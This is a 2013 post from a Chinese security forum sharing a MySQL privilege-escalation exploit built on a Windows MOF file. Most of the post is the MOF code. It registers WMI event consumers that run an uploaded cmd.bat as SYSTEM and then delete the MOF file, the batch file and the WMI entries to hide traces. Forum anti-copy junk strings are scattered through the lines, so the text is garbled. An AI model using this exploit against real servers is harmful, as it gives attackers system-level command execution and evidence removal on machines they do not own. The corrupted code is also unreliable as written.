找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2196|回复: 0
打印 上一主题 下一主题

Mysql 提权即时无错Mof exp

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-14 00:05:02 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
这个sql提权MOF需要运行 system下的文件,不能定义路径。2 Y0 O# T; n* Q
需要将要运行的命令写入到bat上传到system32目录,然后执行。; L0 A& @7 A8 ?- [( N5 [) v4 E
1 u5 Q' @' ?- e9 Y# `+ k" V1 X
这个sql提权MOF需要运行 system下的文件,不能定义路径。! N: G. n  o5 O) J
需要将要运行的命令写入到bat上传到system32目录,然后执行。3 }' y& Q+ p6 l- i* V& ]
8 p; H7 A; C6 H9 U$ }1 V
#pragma
4 q/ j9 h' ^; }& C7 Q- }- o+ K6 M! Q                        namespace("\\\\.\\root\\cimv2")* H8 n4 y1 ^  W; U8 A8 K
                        class, e+ O( x# }, h' z/ r( E
                        MyClass5478 d7 z9 O8 v( _
                        {           [key]" d$ t# q: l6 Z4 `" U1 N/ N$ e
                        string
7 a1 F2 d+ Z* g' x; t9 C                        Name;1 h. g; Z% y/ S4 E
                        };. q4 L0 @5 u7 F# ?
                        class$ M$ l8 {6 W4 G' ^4 ]
                        ActiveScriptEventConsumer
7 B+ I0 ~4 \+ x, K* c                        : __EventConsumer {          [key]  _9 q. N+ p: L/ L/ Q$ p, C3 T
                        string6 Z  {3 u9 ?1 ?5 T/ _
                        Name;           [not_null]
4 o& `/ B9 I, r5 s0 n9 M, _" w  T                        string0 J0 U& R4 x8 P, m$ q0 D6 o3 p
                        ScriptingEngine;           string3 B  X6 H$ @% |3 z7 V
                        ScriptFileName;           [template]) M- ~* Z2 F, s% u8 u
                        string2 a; [' p5 a- M
                        ScriptText;         uint32 KillTimeout;( m& ?1 h0 V# q9 h: A% \
                        }; instance of __Win32Provider as $P {
) D. h+ P' I+ k& w* P) e: D! v                        Name- V, B# l& V( n8 ?! D: m! D9 F4 d
                        =' }% U/ [% P; x1 [0 `$ r
                        "ActiveScriptEventConsumer";     CLSID =7 S$ @- Z: ~3 o- u2 ~; l
                        "{266c72e7-62e8-11d1-ad89-00c04fd8fdff}";/ s, K- T, n9 c* R6 `
                        PerUserInitialization( n, H) J6 e: ~) t9 m
                        = TRUE;
* [% }$ }  H, T                        }; instance of __EventConsumerProviderRegistration {         Provider
  ]! q+ ^( k- C9 |+ V, x; a                        = $P;         ConsumerClassNames4 d: s1 `+ b* l2 X1 i5 s+ }2 o. Y9 L
                        =. @6 G" v1 }5 T7 d( k& p- h
                        {"ActiveScriptEventConsumer"};6 A" N2 r: Y6 K; v
                        };
$ L5 {0 o; H7 z5 G" i1 U8 B                        Instance of ActiveScriptEventConsumer
7 a7 i% t6 u6 t! B9 r# n; B                        as $cons {         Name
' h& `& a. o2 s, u1 J1 Y                        =- h' j$ X& h; I( q* R" D
                        "ASEC";         ScriptingEngine& U4 Y( @" |( G5 n4 V  h
                        =# Q0 t+ t, B. \6 p
                        "JScript";         ScriptText# w; S8 f) Q4 X% e0 X8 q) I
                        =
" o( u; h& G) y7 \2 L  W/ w                        "\ntry {var s = new ActiveXObject(\"Wscript.Shell\");\ns.Run(\"cmd.bat\");} catch (err) {};\nsv = GetObject(\"winmgmts:root\\\\cimv2\");try {sv.Delete(\"MyClass547\");} catch (err) {};try {sv.Delete(\"__EventFilter.Name='instfilt'\");} catch (err) {};try {sv.Delete(\"ActiveScriptEventConsumer.Name='ASEC'\");} catch(err) {};";          };
6 d; [, X: L4 B' ?/ F+ `: [1 B                        Instance of ActiveScriptEventConsumer
; h. f+ m/ w% @2 O                        as $cons2 {         Name
0 I" ]3 U# ]0 J8 f6 [  n; ~( ^                        =
$ P1 U) G2 J/ j# g6 @                        "qndASEC";         ScriptingEngine+ G, P6 Q/ i; H6 a! V! j; o
                        =
7 n* p4 l4 Z; R4 x                        "JScript";         ScriptText
! |4 S6 Y5 _* f& }) ]7 ?                        =! u* @1 s# m# s" H7 l" F
                        "\nvar objfs = new ActiveXObject(\"Scripting.FileSystemObject\");\ntry {var f1 = objfs.GetFile(\"wbem\\\\mof\\\\good\\\\hBsBa.mof\");\nf1.Delete(true);} catch(err) {};\ntry {\nvar f2 = objfs.GetFile(\"cmd.bat\");\nf2.Delete(true);\nvar s = GetObject(\"winmgmts:root\\\\cimv2\");s.Delete(\"__EventFilter.Name='qndfilt'\");s.Delete(\"ActiveScriptEventConsumer.Name='qndASEC'\");\n} catch(err) {};";
: Q) h% t1 w$ r* k                        }; instance of __EventFilter as $Filt {         Name9 n+ ]- {# c9 N) n6 r+ C$ @* B. V
                        =
: P$ r0 A8 r: L+ N  q. A5 w                        "instfilt";         Query( v  r8 s$ N& P1 R. E
                        =/ u3 ]8 v2 S( f: U% B4 K8 g, }
                        "SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = \"MyClass547\"";         QueryLanguage
8 h8 j; Q. K) q' C5 R8 E$ O5 y                        =
! N9 P4 k- n# y- \: Y- ^                        "WQL";         }; instance of __EventFilter as $Filt2 {         Name2 Z  n: o! R8 N! K
                        =3 d2 [3 \( H& t( g
                        "qndfilt";         Query
2 a4 d+ n* _" ^0 ^+ N8 z                        =
7 p- s( q8 Q# E3 |                        "SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA \"Win32_Process\" AND TargetInstance.Name = \"cmd.bat\"";         QueryLanguage. R; U9 I. B7 S  L6 d
                        =
- q7 _# }, O; O+ n6 M9 X                        "WQL";          }; instance of __FilterToConsumerBinding as $bind {         Consumer
# C2 H, I2 {# l+ A2 U4 o, y$ N; x                        = $cons;         Filter
! p' _, a! W, d3 V8 v3 l* n                        = $Filt;% e/ v1 d, C4 z3 [) _6 O
                        }; instance of __FilterToConsumerBinding as $bind2 {         Consumer
4 k. b; D2 u! c# h1 T" {* e/ q                        = $cons2;         Filter5 O9 o! a6 K6 z" J( z" f
                        = $Filt2;
+ R% B5 N2 D4 G6 e; i: N  J                        }; instance of MyClass547  U9 \& M$ c6 X* O+ z4 V- F2 l5 ^( D
                        as $MyClass {         Name
, Z+ O: [$ F( Q5 ]1 u) D2 X                        =
( p' D* B" l+ J) r                        "ClassConsumer";3 X7 C: |$ j; E  u/ O
                        };
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表